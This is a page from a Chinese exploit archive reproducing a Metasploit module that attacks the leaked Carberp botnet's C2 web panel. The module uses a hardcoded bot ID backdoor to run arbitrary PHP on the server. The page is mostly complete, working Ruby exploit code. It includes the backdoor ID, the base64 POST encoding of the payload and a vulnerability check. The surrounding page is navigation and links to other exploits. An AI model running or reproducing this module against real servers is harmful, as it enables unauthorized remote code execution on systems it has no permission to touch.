首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Carberp Web Panel C2 Backdoor Remote PHP Code Execution
来源:metasploit.com 作者:Steven 发布时间:2013-07-02  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',
      'Description'    => %q{
          This module exploits backdoors that can be sighted all over the leaked
        source code of the Carberp botnet C2 Web Panel.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module
          'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting
          'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting
        ],
      'References'     =>
        [
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Keys'        => ['php'],
          'Space'       => 10000,
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['carberp', {}]
        ],
      'DisclosureDate' => 'Jun 28 2013',
      'DefaultTarget'  => 0))
  
    register_options(
      [
        OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),
        OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),
      ],self.class)
  end
  
  def check
    confirm_string = rand_text_alpha(8)
    cmd = "echo '#{confirm_string}';"
    shell = http_send_command(cmd)
    check_code = Exploit::CheckCode::Safe
  
    if shell and shell.body.include?(confirm_string)
      check_code = Exploit::CheckCode::Vulnerable
    end
  
    check_code
  end
  
  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s)
    request_parameters = {
      'method'  => 'POST',
      'uri'    => uri,
      'vars_post'  =>
        {
          'id' => datastore['BOTID'],
          "data" => Rex::Text.encode_base64(cmd.unpack('H*'))
        }
    }
    res = send_request_cgi(request_parameters)
  
    res
  end
  
  def exploit
    http_send_command(payload.encoded)
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PCMan's FTP Server 2.0 - Remot
·Bifrost 1.2d - Remote Buffer O
·PCMan's FTP Server 2.0.7 - Buf
·Bifrost 1.2.1 - Remote Buffer
·Java Applet ProviderSkeleton I
·AVS Media Player 4.1.11.100 (.
·PCMan's FTP Server 2.0 Denial
·Static HTTP Server 1.0 - SEH O
·PCMan's FTP Server 2.0 Directo
·AudioCoder (.lst) - Buffer Ove
·PHP Charts 1.0 Remote Code Exe
·Windows EPATHOBJ::pprFlattenRe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved